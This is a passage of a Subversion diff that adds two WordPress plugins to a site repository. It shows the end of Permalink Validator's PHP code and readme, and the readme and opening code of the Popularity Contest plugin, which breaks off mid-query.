+		$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
+		return;
+	}
+	
+ 	// Use ORIG_PATH_INFO if there is no PATH_INFO 
+ 	if ( !isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO']) ) 
+		$_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; 
+
+	// Simulate REQUEST_URI on IIS	
+	if (!empty($_SERVER['PATH_INFO']) && ($_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME']))
+	{
+		// Some IIS and PHP combinations puts the same value in PATH_INFO and SCRIPT_NAME
+		if ($wp_rewrite->using_permalinks())
+			$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'];
+		else
+			$_SERVER['REQUEST_URI'] = substr($_SERVER['SCRIPT_NAME'], 0, strrpos($_SERVER['SCRIPT_NAME'], '/')) . '/';
+	}
+	else
+	{
+		//  SCRIPT_NAME includes script-path + script-filename
+		if ($wp_rewrite->using_index_permalinks())
+		{
+			// If root then simulate that no script-name was specified
+			if (empty($_SERVER['PATH_INFO']))
+				$_SERVER['REQUEST_URI'] = substr($_SERVER['SCRIPT_NAME'], 0, strrpos($_SERVER['SCRIPT_NAME'], '/')) . '/';
+			else
+				$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
+		}
+		else
+		{
+			// If root then simulate that no script-name was specified
+			if (empty($_SERVER['PATH_INFO']))
+				$_SERVER['REQUEST_URI'] = substr($_SERVER['SCRIPT_NAME'], 0, strrpos($_SERVER['SCRIPT_NAME'], '/')) . '/';
+			else
+				$_SERVER['REQUEST_URI'] = substr($_SERVER['SCRIPT_NAME'], 0, strrpos($_SERVER['SCRIPT_NAME'], '/')) . $_SERVER['PATH_INFO'];
+		}
+	}
+	
+	// Append the query string if it exists and isn't null
+	if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING']))
+	{
+		$_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
+	}
+}
+
+// Fix for missing slash in category- and page-links when not having trailing slash in post permalink structure (WP 2.2+)
+function fix_user_trailingslashit($link, $type) {
+	global $wp_rewrite;
+	if ($wp_rewrite->using_permalinks() && $wp_rewrite->use_trailing_slashes==false && $type != 'single')
+		return trailingslashit($link);
+	return $link;
+}
+
+if ( function_exists( 'add_filter' ) && function_exists('user_trailingslashit'))
+{
+	add_filter('user_trailingslashit', 'fix_user_trailingslashit', 66, 2 );
+}
+
+if ( function_exists( 'add_action' ) )
+{
+	add_action('template_redirect', 'permalink_validator');
+	add_action('init', 'fix_request_uri_iis');
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/permalink-validator/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/permalink-validator/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/permalink-validator/readme.txt	(revision 44)
@@ -0,0 +1,246 @@
+=== Plugin Name ===
+Tags: iis, redirect, 301, 404, permalink, wp_rewrite_rules, isapi, isapi_rewrite, rewriterule, htaccess, mod_rewrite, seo, url, www, canonical 
+Requires at least: 2.0.0
+Tested up to: 2.6
+Stable tag: 0.8
+
+Validates the URL used and if not matching the official permalink then it issues a HTTP 301 or HTTP 404 message.
+
+== Description ==
+
+Wordpress 2.3 now includes validation of the permalink URL when using Apache web server,
+but if using IIS then this plugin is still relevant.
+
+Permalink Validator helps Search Engine Optimization (SEO) as it prevents duplicate
+contents on your Wordpress blog:
+
+* Adds trailing back-slash if missing (Can also be done with [htaccess](http://www.alistercameron.com/2007/01/12/two-wordpress-plugins-you-dont-need-and-shouldnt-use/) or [isapi_rewrite](http://cephas.net/blog/2005/07/11/trailing-slashes-iis-and-f5-big-ip/)).
+* Adds or removes www prefix according to your permalink structure (Can also be done with [htaccess](http://andybeard.eu/2007/04/the-ultimate-wordpress-htaccess-file.html) or isapi_rewrite).
+* Forces a correct 404 page instead of showing an empty search result when using an invalid URL
+* Works only on post, pages and categories. Archives based on date (Daily, Monthly, Yearly) and search-result-pages should use noindex. Feed and trackback pages should be added to the robots.txt.
+* Fixes pagination for WP on IIS.
+* Fixes trailing slash for pages and categories on WP 2.2 when not having trailing slash in post permalink structure.
+
+Wordpress it very forgiving when supplying an URL that doesn't match the
+actual permalink to a post or a page. This is caused by Wordpress using some
+very greedy wp\_rewrite\_rules, which accepts almost any URL as valid.
+
+This means that multiple URLs could be used to reach the page, which search engines
+sees a duplicate content and leads to penalty.
+
+For example it will accept the following permalink URL as valid:
+
+> http://example.com/post/hello-world/2
+
+Even though the official URL is this:
+
+> http://example.com/post/hello-world/
+
+Permalink Validator makes a hook to template_redirect, and then adds some
+extra validation of the URL supplied before actually calling the
+theme-templates.
+
+== Installation ==
+
+1. Upload `permalink-validator.php` to the `/wp-content/plugins/` directory
+1. Activate the plugin through the 'Plugins' menu in WordPress
+
+== Frequently Asked Questions ==
+
+= Why should I use this instead of htaccess or isapi_rewrite ? =
+If having the ability to use htaccess or isapi_rewrite, then one should continue
+to use these to add missing trailing back-slash or www prefix. They are a lot
+faster at redirecting than Permalink Validator, as they are activated without
+starting the PHP script engine when the URL has incorrect format.
+
+Permalink Validator extends the validation so besides checking the format,
+then it also checks that the url is referring to something valid. The validation
+of the url doesn't generate any extra overhead in database queries (unless the url requires redirection).
+
+= Why does it redirect continously when activating the plugin ? =
+The plugin makes a redirect when the url used to reach the page doesn't match the expected permalink url.
+Some times this leads to an endless loop, which Firefox shows as:
+
+> The page isn't redirecting properly <br/>
+> <br/>
+> Firefox has detected that the server is redirecting the request for this address in a way that will never complete. <br/>
+>   * This problem can sometimes be caused by disabling or refusing to accept cookies. <br/>
+
+This can be caused by a conflict in the htaccess / isapi_rewrite redirection rules and the given permalink structure:
+
+* If enforcing trailing back-slash and the permalink structure doesn't include it.
+
+If this is not the case then you are very welcome to post a topic with your problem as feedback to this plugin.
+Please include your permalink-structure and Wordpress version in your description of the problem.
+
+= How to exclude pages from being permalink validated ? =
+The Permalink Validator will pretty much validate any URL you throw at it,
+but sometimes there are URL's that should not be validated.
+
+Edit the plugin-code and replace this line:
+
+> $excludes = array();
+
+With an array of the URL's to ignore:
+
+> $excludes = array("/forum");
+
+Plugins that requires an URL excluded:
+
+* [Subscribe to Comments](http://wordpress.org/extend/plugins/subscribe-to-comments/) - Exclude "/?wp-subscription-manager"
+* [wp-forum](http://wordpress.org/extend/plugins/wp-forum/) - Exclude "/forum"
+
+= How to block search engines from spidering Wordpress feed and trackback ? =
+Add the following lines to your [robots.txt](http://www.robotstxt.org/):
+
+> Disallow: \*/feed <br/>
+> Disallow: \*/atom <br/>
+> Disallow: \*/rss2 <br/>
+> Disallow: \*/rss <br/>
+> Disallow: \*/trackback <br/>
+> Disallow: /\*/feed <br/>
+> Disallow: /\*/atom <br/>
+> Disallow: /\*/rss2 <br/>
+> Disallow: /\*/rss <br/>
+> Disallow: /\*/trackback <br/>
+
+= How to make proper permalink URL's in IIS ? =
+Wordpress supports by default Apache htaccess and its mod_rewrite rules.
+When using Wordpress on IIS then these will not work and one is limited
+to this type of permalink:
+
+> http://example.com/index.php/post/hello-world/
+
+To remove the index.php, then one can either use the [custom 404 redirects](http://www.keyboardface.com/IIS-Permalinks/)
+or [isapi_rewrite](http://www.basilv.com/psd/blog/2006/running-wordpress-20-under-iis).
+
+If using isapi_rewrite and changing from using index.php to not using index.php,
+then one can use the following httpd.ini (Assumes Wordpress is installed in the root):
+
+>[ISAPI_Rewrite]<br/>
+>\# Rules to ensure that normal content gets through <br/>
+>RewriteRule /software-files/(.\*) /software-files/$1 [L] <br/>
+>RewriteRule /images/(.\*) /images/$1 [L] <br/>
+>RewriteRule /favicon.ico /favicon.ico [L] <br/>
+>RewriteRule /robots.txt /robots.txt [L] <br/>
+>
+>\# For file-based wordpress content (i.e. theme), admin, etc. <br/>
+>RewriteRule /wp-(.\*) /wp-$1 [L] <br/>
+>
+>\# Rule to perform 301 redirect to ensure trailing back-slash on post and pages <br/>
+>RewriteCond Host: (.\*) <br/>
+>RewriteRule ([^.?]+[^.?/]) http\://$1$2/ [I,R] <br/>
+>
+>\# Rule to perform 301 redirect (Remove index.php if specified) <br/>
+>RewriteRule /index.php/(.\*) /$1 [I,RP] <br/>
+>
+>\# For normal wordpress content, via index.php <br/>
+>RewriteRule ^/$ /index.php [L] <br/>
+>RewriteRule /(.\*) /index.php/$1 [L] <br/>
+
+= Why doesn't it redirect on IIS when the URL is wrong ? =
+Permalink Validator cannot see the difference between this url:
+
+> http://example.com/
+
+And this url on IIS:
+
+> http://example.com/index.php
+
+It can also not see the difference between this url:
+
+> http://example.com/
+
+And this url on IIS:
+
+> http://example.com/////
+
+This is because REQUEST\_URI is not supported properly on IIS, and this
+plugin can only simulate REQUEST\_URI to a certain limit. Therefore
+it is impossible to know whether index.php or extra slashes was specified or not.
+The solution is to use a rewrite engine like [ISAPI_rewrite](http://www.isapirewrite.com/)
+or [IIS mod-rewrite](http://www.micronovae.com/) as they can provide a proper REQUEST\_URI.
+
+= Why does a non existing page give HTTP error 200 on IIS  ? =
+Microsoft IIS fails to reply with error code 404 in the HTTP header,
+when trying to access an non existing Wordpress page. This usually happens
+when using a custom 404 page on IIS.
+
+It seems that when using PHP on IIS, then it is not possible to reply
+with a proper HTTP header. Apparently the only way to return a proper
+404 on IIS is to use ASP.
+
+= Will Google tracking code work with this plugin ? =
+Google tracking code adds a question-mark (?) option to the URL, which the
+Permalink Validator will strip because it is not part of the permalink URL.
+
+Instead of using a question-mark (?), then one could use a hash (#) value,
+and then modify the Google tracking code to extract the hash value
+instead of the question-mark value.
+
+== Version History ==
+Version 0.8
+
+* Fixed PHP Warning: strpos() [function.strpos]: Empty delimiter
+* Converted the PHP file from UTF8 to ANSI (Removed special BOM character in file beginning)
+
+Version 0.7
+
+* Permalink Validator will not perform redirect of POST server request
+
+Version 0.6
+
+* Fixed a redirection bug introduced in 0.5 when the front page is a page of posts
+
+Version 0.5
+
+* Wordpress 2.3 includes permalink validation (canonical urls) when using Apache, so this plugin should now only be used with IIS
+* Added support for HTTPS urls
+* Added support for special IIS installations where PATH_INFO and SCRIPT_NAME is the same
+* Added small hack to exclude pages from validation (One is required to edit the source to use it)
+* Added detection of the plugin [Jerome's Keywords](http://vapourtrails.ca/wp-keywords)
+
+Version 0.4
+
+* Better guessing of a proper REQUEST\_URI
+* Finds the proper REQUEST\_URI when using isapi_rewrite
+* Finds the proper REQUEST\_URI when using IIS Mod-Rewrite
+* Improved validation as it nows expects a proper REQUEST_URI (Guess Apache is now supported)
+
+Version 0.3
+
+* Fixes trailing slash for pages and categories in WP 2.2 when using a post permalink structure without ending slash.
+
+Version 0.2
+
+* Added support for static front page.
+* Added detection of integrated [BBPress](http://bbpress.org/).
+* Checks that Wordpress has been started before adding hooks
+
+Version 0.1
+
+* Fixes REQUEST_URI for WP on IIS, which also fixes pagination.
+* Handles permalink structure with or without index.php.
+* Handles default permalink structure using only post-id.
+
+== Testing Procedures ==
+For each of the different permalink structures:
+
+* Default permalink structure (Using query string)
+* Permalink structure with index.php 
+* Permalink structure without index.php (Using ISAPI_rewrite)
+* Permalink structure ending with .html
+* All the above in a sub-directory
+
+Tries the following pages:
+
+* Front page and paged
+* Static page
+* Post page
+* Category page and paged
+* Front page as static page (WP 2.2+)
+* Front page as post page (WP 2.2+)
+
+== Contributors ==
+* [Scott Yang](http://fucoder.com/code/permalink-redirect/) for giving me the idea and the example of to how make this plugin.
+* [Gabe Anderson](http://www.articulate.com/blog/) for giving me the initiative to release this plugin.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/README.txt	(revision 44)
@@ -0,0 +1,86 @@
+=== Popularity Contest ===
+Tags: popular, popularity, feedback, view, comment, trackback, statistics, stats
+Contributors: alexkingorg
+Requires at least: 2.3
+Tested up to: 2.8
+Stable tag: 2.0b2
+
+== Description ==
+
+Which of your posts/pages are most popular?
+
+Popularity Contest keeps a count of your post, category and archive views, comments, trackbacks, etc. and uses them to determine which of your posts are most popular. There are numerical values assigned to each type of view and feedback; these are used to create a 'popularity score' for each post.
+
+The values assigned to each view and feedback type are editable and can be changed at any time. When you change any of these values, the 'popularity score' for all posts are updated immediately to reflect the new values.
+
+
+== Installation == 
+
+1. Download the plugin archive and expand it (you've likely already done this).
+2. Upload the popularity-contest.php file to your wp-content/plugins directory.
+3. Go to the Plugins page in your WordPress Administration area and click 'Activate' for Popularity Contest. This will create the database table used by Popularity Contest.
+4. Congratulations, you've just installed Popularity Contest and it is now tracking data for you.
+5. Optional: go into Settings > Popularity to modify the values of each view and feedback type. 
+
+
+== Frequently Asked Questions ==  
+
+= Why are new posts so much more popular than old posts? =  
+
+Since home and feed views have not been recorded for old posts, they won't be ranked as highly as new posts.
+
+= Are pages counted too? =
+
+Yes, pages are counted too.
+
+= How do I recount my comments/trackbacks =
+
+If you have received comment spam or just need to recount your comments/trackbacks for any reason, you can use the 'Reset Comments/Trackback/Pingback Counts' button on the Settings > Popularity page.
+
+= How do I uninstall Populairy Contest? = 
+
+Go back to you Plugins page, and click 'Deactivate' for Popularity Contest. Note: this does not remove your popularity data.
+
+= What if I want to re-enable Popularity Contest later? = 
+
+No problem. Go back to the Plugins page and click 'Activate' for Popularity Contest. Popularity Contest will check to see if there are new posts and feedback since it was last activated, and will "catch up" as much as possible.
+
+= How do I disable showing 'Popularity: n%' on my posts? = 
+
+Disable this option on the settings page.
+
+= How do I turn off the '[?]' on my posts? = 
+
+Disable this option on the settings page.
+
+= How do I not count posts by site authors? = 
+
+Use the option on the settings page.
+
+= How can I show lists of my most popular posts in my sidebar? =
+
+The easiest way is to use the included widgets with a widget-enabled theme.
+
+There are template tage included in Popularity Contest to make it easy for you to show lists of your most popular posts. These tags, along with an explanation of how to use them, can be found on the Popularity Contest options page in your WordPress adming: Options > Popularity.
+
+In addition, I've included the legacy sidebar.php file (from the default template), that has contextual popular posts lists already added. When viewing a category, the included sidebar shows a list of most popular posts in that category. When viewing a month archive, the included sidebar shows a list of most popular posts for that month.
+
+= Anything else? =
+
+That about does it - enjoy!
+
+--Alex King
+
+http://alexking.org/projects/wordpress
+
+
+== Changelog ==
+
+= 2.0 =
+
+- Pretty major rewrite, lots of things have changed to work better with recent changes in WordPress.
+- Now compatible with caching plugins.
+- Support for tags and tag reports.
+- Support for tracking search engine visitors differently than direct visitors.
+- Option to ignore page views by site authors (your own actions on your site don't affect your popularity stats).
+- Additional options so that there is no need to edit constants in the file directly.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/popularity-contest.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/popularity-contest.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/popularity-contest.php	(revision 44)
@@ -0,0 +1,2847 @@
+<?php
+
+/*
+Plugin Name: Popularity Contest
+Plugin URI: http://alexking.org/projects/wordpress
+Description: This will enable ranking of your posts by popularity; using the behavior of your visitors to determine each post's popularity. You set a value (or use the default value) for every post view, comment, etc. and the popularity of your posts is calculated based on those values. Once you have activated the plugin, you can configure the Popularity Values and View Reports. You can also use the included Widgets and Template Tags to display post popularity and lists of popular posts on your blog.
+Version: 2.0b2
+Author: Crowd Favorite
+Author URI: http://crowdfavorite.com
+*/ 
+
+// Copyright (c) 2005-2009 Alex King, Crowd Favorite, Ltd. All rights reserved.
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// This is an add-on for WordPress
+// http://wordpress.org/
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+// Special thanks to Martijn Stegink for help with WordPress 2.3 compatibility.
+
+/*
+@TODO
+- run reports by join/order by using WP_Query?
+- convert to 2.8 widgets
+- display upgrade needed message on admin pages if upgrade needed
+*/
+
+if (!defined('AKPC_LOADED')) : // LOADED CHECK
+
+@define('AKPC_LOADED', true);
+
+/* -- INSTALLATION --------------------- */
+
+// To hide the popularity score on a per post/page basis, add a custom field to the post/page as follows:
+//   name: hide_popularity
+//   value: 1
+
+
+// When this is set to 1, WPMU will auto-install popularity contest for each installed blog when installed in the mu-plugins folder
+
+@define('AKPC_MU_AUTOINSTALL', 1);
+
+// Change this to 1 if you want popularity contest to pull its config from this file instead of the database
+// This option hides most of the Popularity Contest admin page
+
+@define('AKPC_CONFIG_FILE', 0);
+
+// By default the view is recorded via an Ajax call from the page. If you want Popularity Contest to do this on the 
+// back end set this to 0. Setting this to 0 will cause popularity contest results to improperly tally when caching is 
+// turned on. It is recommended to use the API.
+
+@define('AKPC_USE_API', 1);
+
+
+// if pulling settings from this file, set weight values below
+$akpc_settings['show_pop'] = 1;		// clickthrough from feed
+$akpc_settings['show_help'] = 1;		// clickthrough from feed
+$akpc_settings['ignore_authors'] = 1;		// clickthrough from feed
+$akpc_settings['feed_value'] = 1;		// clickthrough from feed
+$akpc_settings['home_value'] = 2;		// clickthrough from home
+$akpc_settings['archive_value'] = 4;	// clickthrough from archive page
+$akpc_settings['category_value'] = 6;	// clickthrough from category page
+$akpc_settings['single_value'] = 10;	// full article page view
+$akpc_settings['comment_value'] = 20;	// comment on article
+$akpc_settings['pingback_value'] = 50;	// pingback on article
+$akpc_settings['trackback_value'] = 80;	// trackback on article
+$akpc_settings['searcher_names'] = 'google.com yahoo.com bing.com'; // serach engine bot names, space separated
+
+
+// If you would like to show lists of popular posts in the sidebar, 
+// take a look at how it is implemented in the included sidebar.php.
+
+/* ------------------------------------- */
+
+load_plugin_textdomain('popularity-contest');
+
+if (is_file(trailingslashit(ABSPATH.PLUGINDIR).'popularity-contest.php')) {
+	define('AKPC_FILE', trailingslashit(ABSPATH.PLUGINDIR).'popularity-contest.php');
+}
+else if (is_file(trailingslashit(ABSPATH.PLUGINDIR).'popularity-contest/popularity-contest.php')) {
+	define('AKPC_FILE', trailingslashit(ABSPATH.PLUGINDIR).'popularity-contest/popularity-contest.php');
+}
+
+register_activation_hook(AKPC_FILE, 'akpc_install');
+
+function akpc_install() {
+	global $akpc;
+	if (!is_a($akpc, 'ak_popularity_contest')) {
+		$akpc = new ak_popularity_contest();
+	}
+	$akpc->install();
+	$akpc->upgrade();
+	$akpc->mine_gap_data();
+}
+
+// -- MAIN FUNCTIONALITY
+
+class ak_popularity_contest {
+	var $feed_value;
+	var $home_value;
+	var $archive_value;
+	var $category_value;
+	var $single_value;
+	var $comment_value;
+	var $pingback_value;
+	var $trackback_value;
+	var $searcher_names;
+	var $logged;
+	var $options;
+	var $top_ranked;
+	var $current_posts;
+	var $show_pop;
+	var $show_help;
+	var $ignore_authors;
+	
+	var $report_types;
+	
+	function ak_popularity_contest() {
+		$this->options = array(
+			'feed_value'
+			,'home_value'
+			,'archive_value'
+			,'category_value'
+			,'tag_value'
+			,'single_value'
+			,'searcher_value'
+			,'comment_value'
+			,'pingback_value'
+			,'trackback_value'
+			,'searcher_names'
+			,'show_pop'
+			,'show_help'
+			,'ignore_authors'
+		);
+		$this->feed_value = 1;
+		$this->home_value = 2;
+		$this->archive_value = 4;
+		$this->category_value = 6;
+		$this->tag_value = 6;
+		$this->single_value = 10;
+		$this->searcher_value = 2;
+		$this->comment_value = 20;
+		$this->pingback_value = 50;
+		$this->trackback_value = 80;
+		$this->searcher_names = 'google.com yahoo.com bing.com';
+		$this->logged = 0;
+		$this->show_pop = 1;
+		$this->show_help = 1;
+		$this->ignore_authors = 1;
+		$this->top_ranked = array();
+		$this->current_posts = array();
+	}
+	
+	function get_settings() {
+		global $wpdb;		
+		if (AKPC_CONFIG_FILE == 1) { // use hard coded settings
+			global $akpc_settings;
+			foreach($akpc_settings as $key => $value) {
+				if (in_array($key, $this->options)) {
+					$this->$key = $value;
+				}
+			}
+		}
+		else { // pull settings from db
+			// This checks to see if the tables are in the DB for this blog
+			$settings = $this->query_settings();
+			
+			// If the DB tables are not in place, lets check to see if we can install
+			if (!count($settings)) {
+				// This checks to see if we need to install, then checks if we can install
+				// For the can install to work in MU the AKPC_MU_AUTOINSTALL variable must be set to 1
+				if (!$this->check_install() && $this->can_autoinstall()) {
+					$this->install();
+				}
+				if (!$this->check_install()) {
+					$error = __('
+<h2>Popularity Contest Installation Failed</h2>
+<p>Sorry, Popularity Contest was not successfully installed. Please try again, or try one of the following options for support:</p>
+<ul>
+	<li><a href="http://wphelpcenter.com">WordPress HelpCenter</a> (the official support provider for Popularity Contest)</li>
+	<li><a href="http://wordpress.org">WordPress Forums</a> (community support forums)</li>
+</ul>
+<p>If you are having trouble and need to disable Popularity Contest immediately, simply delete the popularity-contest.php file from within your wp-content/plugins directory.</p>
+					', 'popularity-contest');
+					wp_die($error);
+				}
+				else {
+					$settings = $this->query_settings();
+				}
+			}
+			if (count($settings)) {
+				foreach ($settings as $setting) {
+					if (in_array($setting->option_name, $this->options)) {
+						$this->{$setting->option_name} = $setting->option_value;
+					}
+				}
+			}
+		}
+		return true;
+	}
+	
+	function query_settings() {
+		global $wpdb;
+		return @$wpdb->get_results("
+			SELECT *
+			FROM $wpdb->ak_popularity_options
+		");
+	}
+	
+	/**
+	 * check_install - This function checks to see if the proper tables have been added to the DB for the blog the plugin is being activated for
+	 *
+	 * @return void
+	 */
+	function check_install() {
+		global $wpdb;
+		$result = mysql_query("SHOW TABLES LIKE '{$wpdb->prefix}ak_popularity%'", $wpdb->dbh);
+		return mysql_num_rows($result) == 2;
+	}
+	
+	/**
+	 * can_autoinstall - This function checks to see whether the tables can be installed
+	 *
+	 * @return void - Checks to see if the blog is MU, if not returns true
+	 * 				- Checks to see if the blog is MU, if it is also checks to see if the function can install and returns true if it can
+	 * 				- (For the second condition to work: ie. if the plugin is installed in MU: AKPC_MU_AUTOINSTALL must be set to 1)
+	 */
+	function can_autoinstall() {
+		global $wpmu_version;
+		return (is_null($wpmu_version) || (!is_null($wpmu_version) && AKPC_MU_AUTOINSTALL == 1));
+	}
+	
+	/**
+	 * install - This function installs the proper tables in the DB for handling popularity contest items
+	 *
+	 * @return void - Returns whether the table creation was successful
+	 */
+	function install() {
+		global $wpdb;
+		if ($this->check_install()) {
+			return;
+		}
+		$result = mysql_query("
+			CREATE TABLE `$wpdb->ak_popularity_options` (
+				`option_name` VARCHAR( 50 ) NOT NULL, 
+				`option_value` VARCHAR( 50 ) NOT NULL
+			) 
+		", $wpdb->dbh) or die(mysql_error().' on line: '.__LINE__);
+		if (!$result) {
+			return false;
+		}
+	
+		$this->default_values();
+
+		$result = mysql_query("
+			CREATE TABLE `$wpdb->ak_popularity` (
+				`post_id` INT( 11 ) NOT NULL ,
+				`total` INT( 11 ) NOT NULL ,
+				`feed_views` INT( 11 ) NOT NULL ,
+				`home_views` INT( 11 ) NOT NULL ,
+				`archive_views` INT( 11 ) NOT NULL ,
+				`category_views` INT( 11 ) NOT NULL ,
+				`tag_views` INT( 11 ) NOT NULL ,
+				`single_views` INT( 11 ) NOT NULL ,
+				`searcher_views` INT( 11 ) NOT NULL ,
+				`comments` INT( 11 ) NOT NULL ,
+				`pingbacks` INT( 11 ) NOT NULL ,
+				`trackbacks` INT( 11 ) NOT NULL ,
+				`last_modified` DATETIME NOT NULL ,
+				KEY `post_id` ( `post_id` )
+			) 
+		", $wpdb->dbh) or die(mysql_error().' on line: '.__LINE__);
+		if (!$result) {
+			return false;
+		}
+		
+		$this->mine_data();
+		
+		return true;		
+	}
+	
+	function upgrade() {
+		$this->upgrade_20();
+	}
+	
+	function upgrade_20() {
+		global $wpdb;
+		
+		$cols = $wpdb->get_col("
+			SHOW COLUMNS FROM $wpdb->ak_popularity
+		");
+		
+		//2.0 Schema
+		if (!in_array('tag_views', $cols)) {
+			$wpdb->query("
+				ALTER TABLE `$wpdb->ak_popularity`
+				ADD `tag_views` INT( 11 ) NOT NULL
+				AFTER `category_views`
+			");
+		}
+		if (!in_array('searcher_views', $cols)) {
+			$wpdb->query("
+				ALTER TABLE `$wpdb->ak_popularity`
+				ADD `searcher_views` INT( 11 ) NOT NULL
+				AFTER `single_views`
+			");
+		}
+		$temp = new ak_popularity_contest;
+		$cols = $wpdb->get_col("
+			SELECT `option_name`
+			FROM `$wpdb->ak_popularity_options`
+		");
+		if (!in_array('searcher_names', $cols)) {
+			$wpdb->query("
+				INSERT 
+				INTO `$wpdb->ak_popularity_options` (
+					`option_name`,
+					`option_value`
+				)
+				VALUES (
+					'searcher_names',
+					'$temp->searcher_names'
+				)
+				
+			");
+		}
+		if (!in_array('show_pop', $cols)) {
+			$wpdb->query("
+				INSERT 
+				INTO `$wpdb->ak_popularity_options` (
+					`option_name`,
+					`option_value`
+				)
+				VALUES (
+					'show_pop',
+					'$temp->show_pop'
+				)
+				
+			");
+		}
+		if (!in_array('show_help', $cols)) {
+			$wpdb->query("
+				INSERT 
+				INTO `$wpdb->ak_popularity_options` (
+					`option_name`,
+					`option_value`
+				)
+				VALUES (
+					'show_help',
+					'$temp->show_help'
+				)
+				
+			");
+		}
+		if (!in_array('ignore_authors', $cols)) {
+			$wpdb->query("
+				INSERT 
+				INTO `$wpdb->ak_popularity_options` (
+					`option_name`,
+					`option_value`
+				)
+				VALUES (
+					'ignore_authors',
+					'$temp->ignore_authors'
+				)
+				
+			");
+		}
+	}
+	
+	function default_values() {
+		global $wpdb;
+		foreach ($this->options as $option) {
+			$result = $wpdb->query("
+				INSERT 
+				INTO $wpdb->ak_popularity_options
+				VALUES (
+				'$option', 
+				'{$this->$option}'
+				)
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+		return true;
+	}
+	
+	function update_settings() {
+		if (!current_user_can('manage_options')) { wp_die('Unauthorized.'); }
+		global $wpdb;
+		$this->upgrade();
+		foreach ($this->options as $option) {
+			if (isset($_POST[$option])) {
+				$option != 'searcher_names' ? $this->$option = intval($_POST[$option]) : $this->$option = stripslashes($_POST[$option]);
+				$wpdb->query("
+					UPDATE $wpdb->ak_popularity_options
+					SET option_value = '{$this->$option}'
+					WHERE option_name = '".$wpdb->escape($option)."'
+				");
+			}
+		}
+		$this->recalculate_popularity();
+		$this->mine_gap_data();
+		header('Location: '.get_bloginfo('wpurl').'/wp-admin/options-general.php?page='.basename(__FILE__).'&updated=true');
+		die();
+	}
+	
+	function recalculate_popularity() {
+		global $wpdb;
+		$result = $wpdb->query("
+			UPDATE $wpdb->ak_popularity
+			SET total = (home_views * $this->home_value)
+				+ (feed_views * $this->feed_value)
+				+ (archive_views * $this->archive_value)
+				+ (category_views * $this->category_value)
+				+ (tag_views * $this->tag_value)
+				+ (single_views * $this->single_value)
+				+ (searcher_views * $this->searcher_value)
+				+ (comments * $this->comment_value)
+				+ (pingbacks * $this->pingback_value)
+				+ (trackbacks * $this->trackback_value)
+		");
+	}
+	
+	function reset_data() {
+		global $wpdb;
+		$result = $wpdb->query("
+			TRUNCATE $wpdb->ak_popularity
+		");
+		if (!$result) {
+			return false;
+		}
+
+		$result = $wpdb->query("
+			TRUNCATE $wpdb->ak_popularity_options
+		");
+		if (!$result) {
+			return false;
+		}
+
+		$this->default_values();
+		return true;
+	}
+
+	function create_post_record($post_id = -1) {
+		global $wpdb;
+		if ($post_id == -1) {
+			global $post_id;
+		}
+		$post_id = intval($post_id);
+		$count = $wpdb->get_var("
+			SELECT COUNT(post_id)
+			FROM $wpdb->ak_popularity
+			WHERE post_id = '$post_id'
+		");
+		if (!intval($count)) {
+			$result = $wpdb->query("
+				INSERT 
+				INTO $wpdb->ak_popularity (
+					`post_id`,
+					`last_modified`
+				)
+				VALUES (
+					'$post_id', 
+					'".date('Y-m-d H:i:s')."'
+				)
+			");
+		}
+	}
+	
+	function delete_post_record($post_id = -1) {
+		global $wpdb;
+		if ($post_id == -1) {
+			global $post_id;
+		}
+		$result = $wpdb->query("
+			DELETE 
+			FROM $wpdb->ak_popularity
+			WHERE post_id = '$post_id'
+		");
+
+	}
+	
+	function mine_data() {
+		global $wpdb;
+		$posts = $wpdb->get_results("
+			SELECT ID
+			FROM $wpdb->posts
+			WHERE post_status = 'publish'
+		");
+		if ($posts && count($posts) > 0) {
+			foreach ($posts as $post) {
+				$this->create_post_record($post->ID);
+				$this->populate_post_data($post->ID);
+			}
+		}
+		return true;
+	}
+	
+	function mine_gap_data() {
+		global $wpdb;
+		$posts = $wpdb->get_results("
+			SELECT p.ID
+			FROM $wpdb->posts p
+			LEFT JOIN $wpdb->ak_popularity pop
+			ON p.ID = pop.post_id
+			WHERE pop.post_id IS NULL
+			AND (
+				p.post_type = 'post'
+				OR p.post_type = 'page'
+			)
+			AND p.post_status = 'publish'
+		");
+		if ($posts && count($posts) > 0) {
+			foreach ($posts as $post) {
+				$this->create_post_record($post->ID);
+				$this->populate_post_data($post->ID);
+			}
+		}
+	}
+	
+	function populate_post_data($post_id) {
+		global $wpdb;
+// grab existing comments
+		$count = intval($wpdb->get_var("
+			SELECT COUNT(*)
+			FROM $wpdb->comments
+			WHERE comment_post_ID = '$post_id'
+			AND comment_type = ''
+			AND comment_approved = '1'
+		"));
+		if ($count > 0) {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET comments = comments + $count
+				, total = total + ".($this->comment_value * $count)."
+				WHERE post_id = '$post_id'
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+
+// grab existing trackbacks
+		$count = intval($wpdb->get_var("
+			SELECT COUNT(*)
+			FROM $wpdb->comments
